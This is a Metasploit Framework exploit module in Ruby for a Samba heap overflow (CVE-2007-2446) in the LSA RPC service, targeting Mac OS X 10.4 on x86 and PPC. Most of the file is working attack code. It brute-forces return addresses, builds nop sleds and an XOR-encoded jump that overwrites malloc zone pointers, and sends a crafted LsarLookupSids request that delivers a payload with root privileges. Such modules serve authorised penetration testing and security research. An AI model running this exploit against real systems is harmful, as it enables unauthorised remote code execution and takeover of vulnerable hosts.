Metasploit Framework

##

# $Id$

##

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

        Rank = AverageRanking

        include Msf::Exploit::Remote::DCERPC

        include Msf::Exploit::Remote::SMB

        include Msf::Exploit::Brute

        def initialize(info = {})

                super(update_info(info,

                        'Name'           => 'Samba lsa_io_trans_names Heap Overflow',

                        'Description'    => %q{

                                This module triggers a heap overflow in the LSA RPC service

                        of the Samba daemon. This module uses the szone_free() to overwrite

                        the size() or free() pointer in initial_malloc_zones structure.

                        },

                        'Author'         =>

                                [

                                        'ramon',

                                        'Adriano Lima <adriano[at]risesecurity.org>',

                                        'hdm'

                                ],

                        'License'        => MSF_LICENSE,

                        'Version'        => '$Revision$',

                        'References'     =>

                                [

                                        ['CVE', '2007-2446'],

                                        ['OSVDB', '34699'],

                                ],

                        'Privileged'     => true,

                        'Payload'        =>

                                {

                                        'Space'    => 1024,

                                },

                        'Platform'       => 'osx',

                        'DefaultOptions' =>

                                {

                                        'PrependSetresuid' => true,

                                },

                        'Targets'        =>

                                [

                                        ['Mac OS X 10.4.x x86 Samba 3.0.10',

                                        {

                                                'Platform'      => 'osx',

                                                'Arch'          => [ ARCH_X86 ],

                                                'Nops'          => 4 * 1024,

                                                'Bruteforce' =>

                                                        {

                                                                'Start' => { 'Ret' => 0x01818000 },

                                                                'Stop'  => { 'Ret' => 0x01830000 },

                                                                'Step'  => 3351,

                                                        },

                                        }

                                        ],

                                        ['Mac OS X 10.4.x PPC Samba 3.0.10',

                                        {

                                                'Platform'      => 'osx',

                                                'Arch'          => [ ARCH_PPC ],

                                                'Nops'          => 1600,

                                                'Bruteforce' =>

                                                        {

                                                                'Start' => { 'Ret' => 0x01813000 },

                                                                'Stop'  => { 'Ret' => 0x01830000 },

                                                                'Step'  => 796,

                                                        }

                                        }

                                        ],

                                        ['DEBUG',

                                        {

                                                'Platform'      => 'osx',

                                                'Arch'          => [ ARCH_X86 ],

                                                'Nops'          => 4 * 1024,

                                                'Bruteforce' =>

                                                        {

                                                                'Start' => { 'Ret' => 0xaabbccdd },

                                                                'Stop'  => { 'Ret' => 0xaabbccdd },

                                                                'Step'  => 0,

                                                        }

                                        }

                                        ],

                                ],

                        'DisclosureDate' => 'May 14 2007'

                        ))

                register_options(

                        [

                                OptString.new('SMBPIPE', [ true,  "The pipe name to use", 'LSARPC']),

                        ], self.class)

        end

        # Handle a strange byteswapping issue on PPC

        def ppc_byteswap(addr)

                data = [addr].pack('N')

                (data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]

        end

        def brute_exploit(target_addrs)

                if(not @nops)

                        if (target['Nops'] > 0)

                                print_status("Creating nop sled....")

                                @nops = make_nops(target['Nops'])

                        else

                                @nops = ''

                        end

                end

                print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])

                pipe = datastore['SMBPIPE'].downcase

                print_status("Connecting to the SMB service...")

                connect()

                smb_login()

                datastore['DCERPC::fake_bind_multi'] = false

                handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])

                print_status("Binding to #{handle} ...")

                dcerpc_bind(handle)

                print_status("Bound to #{handle} ...")

                num_entries  = 256

                num_entries2 = 257

                #

                # First talloc_chunk

                # 16 bits align

                # 16 bits sid_name_use

                #     16 bits uni_str_len

                #     16 bits uni_max_len

                #     32 bits buffer

                # 32 bits domain_idx

                #

                buf = (('A' * 16) * num_entries)

                # Padding

                buf << 'A' * 4

                #

                # Use the szone_free() to overwrite the size() pointer in

                # initial_malloc_zones structure.

                #

                size_pointer = 0x1800008

                # Initial nops array

                nops = ''

                # x86

                if (target.arch.include?(ARCH_X86))

                        #

                        # We don't use the size() pointer anymore because it

                        # results in a unexpected behavior when smbd process

                        # is started by launchd.

                        #

                        free_pointer = 0x1800018

                        nop = "\x16"

                        #

                        # First talloc_chunk

                        # 16 bits align

                        # 16 bits sid_name_use

                        #     16 bits uni_str_len

                        #     16 bits uni_max_len

                        #     32 bits buffer

                        # 32 bits domain_idx

                        #

                        # First nop block

                        buf = ((nop * 16) * num_entries)

                        #

                        # A nop block of 0x16 (pushl %ss) and the address of

                        # 0x1800014 results in a jns instruction which when

                        # executed will jump over the address written eight

                        # bytes past our target address by szone_free() (the

                        # sign flag is zero at the moment our target address is

                        # executed).

                        #

                        # 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379

                        #

                        # This is the output of the sequence of xor operations

                        #   0:   79 23                   jns    0x25

                        #   2:   96                      xchgl  %eax,%esi

                        #   3:   17                      popl   %ss

                        #   4:   16                      pushl  %ss

                        #   5:   16                      pushl  %ss

                        #   6:   16                      pushl  %ss

                        #   7:   16                      pushl  %ss

                        #   8:   14 00                   adcb   $0x0,%al

                        #   a:   80 01 16                addb   $0x16,(%ecx)

                        #

                        # This jump is needed because the ecx register does not

                        # point to a valid memory location in free() context

                        # (it is zero).

                        #

                        # The jump will hit our nop block which will be executed

                        # until it reaches the payload.

                        #

                        # Padding nops

                        buf << nop * 2

                        # Jump over the pointers

                        buf << "\xeb\x08"

                        # Pointers

                        buf << [target_addrs['Ret']].pack('V')

                        buf << [free_pointer - 4].pack('V')

                        #

                        # We expect to hit this nop block or the one before

                        # the pointers.

                        #

                        buf << nop * (3852 - 8 - payload.encoded.length)

                        # Payload

                        buf << payload.encoded

                        # Padding nops

                        buf << nop * 1024

                        stub = lsa_open_policy(dcerpc)

                        stub << NDR.long(0)            # num_entries

                        stub << NDR.long(0)            # ptr_sid_enum

                        stub << NDR.long(num_entries)  # num_entries

                        stub << NDR.long(0x20004)      # ptr_trans_names

                        stub << NDR.long(num_entries2) # num_entries2

                        stub << buf

                # PPC

                else

                        #

                        #  The first half of the nop sled is an XOR encoded branch

                        #  instruction. The second half is a series of unencoded nop

                        #  instructions. The result is:

                        #

                        #  > This is the decoded branch instruction

                        #  0x181c380:      bl      0x181c6a0

                        #

                        #  > The size pointer is written below this

                        #  0x181c384:      .long 0x1800004

                        #

                        #  > Followed by the encoded branch sled

                        #  0x181c388:      ba      0x180365c

                        #  [ ... ]

                        #

                        #  > The branch lands in the normal nop sled

                        #  0x181c6a0:      andi.   r17,r16,58162

                        #  [ ... ]

                        #

                        #  > Finally we reach our payload :-)

                        #

                        size_pointer = size_pointer - 4

                        sled = target['Nops']

                        jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')

                        nops = (jump * (sled / 8)) + @nops[0, sled / 8]

                        addr_size = ppc_byteswap(size_pointer)

                        addr_ret  = ppc_byteswap(target_addrs['Ret'])

                        # This oddness is required for PPC

                        buf << [addr_size].pack('N')

                        buf << [addr_ret ].pack('N')[2,2]

                        buf << [addr_ret ].pack('N')

                        # Padding

                        buf << "A" * (256 - 10)

                        stub = lsa_open_policy(dcerpc)

                        stub << NDR.long(0)            # num_entries

                        stub << NDR.long(0)            # ptr_sid_enum

                        stub << NDR.long(num_entries)  # num_entries

                        stub << NDR.long(0x20004)      # ptr_trans_names

                        stub << NDR.long(num_entries2) # num_entries2

                        stub << buf

                        stub << nops

                        stub << payload.encoded

                end

                print_status("Calling the vulnerable function...")

                begin

                        # LsarLookupSids

                        dcerpc.call(0x0f, stub)

                rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError

                        print_status('Server did not respond, this is expected')

                rescue Rex::Proto::DCERPC::Exceptions::Fault

                        print_error('Server is most likely patched...')

                rescue => e

                        if e.to_s =~ /STATUS_PIPE_DISCONNECTED/

                                print_status('Server disconnected, this is expected')

                        else

                                print_error("Error: #{e.class}: #{e}")

                        end

                end

                handler

                disconnect

        end

        def lsa_open_policy(dcerpc, server="\\")

                stubdata =

                        # Server

                        NDR.uwstring(server) +

                        # Object Attributes

                                NDR.long(24) + # SIZE

                                NDR.long(0)  + # LSPTR

                                NDR.long(0)  + # NAME

                                NDR.long(0)  + # ATTRS

                                NDR.long(0)  + # SEC DES

                                        # LSA QOS PTR

                                        NDR.long(1)  + # Referent

                                        NDR.long(12) + # Length

                                        NDR.long(2)  + # Impersonation

                                        NDR.long(1)  + # Context Tracking

                                        NDR.long(0)  + # Effective Only

                        # Access Mask

                        NDR.long(0x02000000)

                res = dcerpc.call(6, stubdata)

                dcerpc.last_response.stub_data[0,20]

        end

end